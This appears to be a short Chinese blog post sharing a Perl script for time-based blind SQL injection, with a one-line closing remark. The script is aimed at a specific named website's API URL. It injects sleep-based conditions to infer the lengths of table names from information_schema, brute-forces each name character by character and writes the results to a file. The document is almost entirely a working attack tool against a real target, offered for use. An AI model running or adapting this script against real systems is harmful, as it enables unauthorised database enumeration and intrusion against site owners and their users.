一个基于时间注入的perl小脚本

use strict;
use warnings;
use LWP::Simple;

my %table_and_leng;
for(my $count = 0;$count <= 49;$count++){
    #print "Test Table: $count
";
    my $table_length=1;
    my $swap = $count+1;
    while($table_length <= 30){
        
        print "Test Table($swap), and table_length($table_length)
";
        my $start_time = time;
        get("http://www.bjmzdx.org/home/api/detail/cateId/834/id/4698) and ( if(length((select table_name from information_schema.tables where table_schema=database() limit $count,1))=$table_length,sleep(10),1) )-- -.html");
        my $end_time = time;
        my $fish_time = $end_time-$start_time;
        if($fish_time >= 10){
            print "The $swap talbe_length:$table_length
";
            $table_and_leng{$count} = $table_length;
            last;
        }
        $table_length++;
    }


}
foreach my $keys(sort keys %table_and_leng){
        print "$keys => $table_and_leng{$keys}
";
}
print "All table length is Done, sleep(30)";
sleep(30);

my %all_tables;
for(my $table_count=0;$table_count <=49;$table_count++){
    my $table_count_swap = $table_count+1;
    my @table;
    for(my $count=1;$count<=$table_and_leng{$table_count}; $count++){
        foreach my $char('a'..'z','A'..'Z',0..9,'_','!','@','#','$','%','^','&','*','(',')'){
            print "Guess $table_count_swap ->  $char
";
            my $start_time = time;
            get("http://www.bjmzdx.org/home/api/detail/cateId/834/id/4698) and (   if((substr(  (select table_name from information_schema.tables where table_schema=database() limit $table_count,1),$count,1)='".$char."')  ,sleep(10),1)   )-- -.html");
            my $end_time = time;
            my $fish_time = $end_time-$start_time;
            if($fish_time >= 10){
                print "The Char:$char
";
                push @table, $char;
                last;
                
            }
            
        }
    }
    my $table_swap = join('',@table);
    
    print "The $table_count_swap is:$table_swap
";
    $all_tables{$table_count} = $table_swap;
}

open DATA, ">> back.txt" or die "Cannot write to file:$!
";
print "

------------------------------------------------------
";
foreach my $table_keys(sort keys %all_tables){
        print "$table_keys => $all_tables{$table_keys}
";
        print DATA "$table_keys	$all_tables{$table_keys}
";
}
print "------------------------------------------------------
";
close DATA;
print "All Done, Please Check the file:back.txt in current dir.
";
print "Done!
";

关键是time获得时间